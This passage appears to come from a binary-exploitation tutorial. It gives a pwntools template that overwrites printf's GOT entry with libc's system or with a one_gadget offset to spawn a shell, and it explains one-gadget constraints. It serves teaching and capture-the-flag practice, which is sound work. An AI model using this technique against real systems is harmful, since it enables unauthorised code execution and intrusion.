A ROP chain: each 'ret' launches the next gadget already present in the code.
from pwn import *
libc = ELF("./libc.so.6"); libc.address = leaked_base # from Stage 1
# Option A: point a soon-called GOT slot at system, arg = "/bin/sh"
# works when you also control the argument register / stack.
target_got = elf.got["printf"]
payload = write_primitive(target_got, p64(libc.symbols["system"]))
# Option B: one_gadget -- a libc offset that spawns a shell by itself.
# Find candidates on the command line: $ one_gadget ./libc.so.6
one_gadget_offset = 0xe3afe # EXAMPLE ONLY -- verify per libc!
og = libc.address + one_gadget_offset
payload = write_primitive(target_got, p64(og))
A one-gadget has constraints (certain registers must be NULL, stack aligned). If one candidate fails, try another.
write_primitive is whatever the specific bug gives you.